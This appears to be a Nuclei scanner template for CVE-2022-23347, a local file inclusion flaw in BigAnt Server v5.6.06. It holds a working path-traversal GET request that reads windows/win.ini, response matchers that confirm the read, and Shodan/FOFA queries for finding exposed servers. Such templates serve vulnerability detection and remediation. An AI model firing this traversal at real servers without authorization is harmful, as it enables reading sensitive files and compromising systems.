id: CVE-2022-23347

info:
  name: BigAnt Server v5.6.06 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: BigAnt Server v5.6.06 is vulnerable to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in BigAnt Server v5.6.06.
  reference:
    - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23347
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23347
    - http://bigant.com
    - https://www.bigantsoft.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-23347
    cwe-id: CWE-22
    epss-score: 0.11382
    epss-percentile: 0.95203
    cpe: cpe:2.3:a:bigantsoft:bigant_server:5.6.06:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bigantsoft
    product: bigant_server
    shodan-query:
      - http.html:"BigAnt"
      - http.html:"bigant"
    fofa-query: body="bigant"
  tags: cve,cve2022,bigant,lfi,bigantsoft

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202841d20a7f9c801c32ef9eca21e9cb253bf6fd8a96e39d01c504ad527d03cfb1022100b1321b1ee545280187446ae97fe112a8b5fad9825818510cc63ffbd8b5237f98:922c64590222798bb761d5b6d8e72950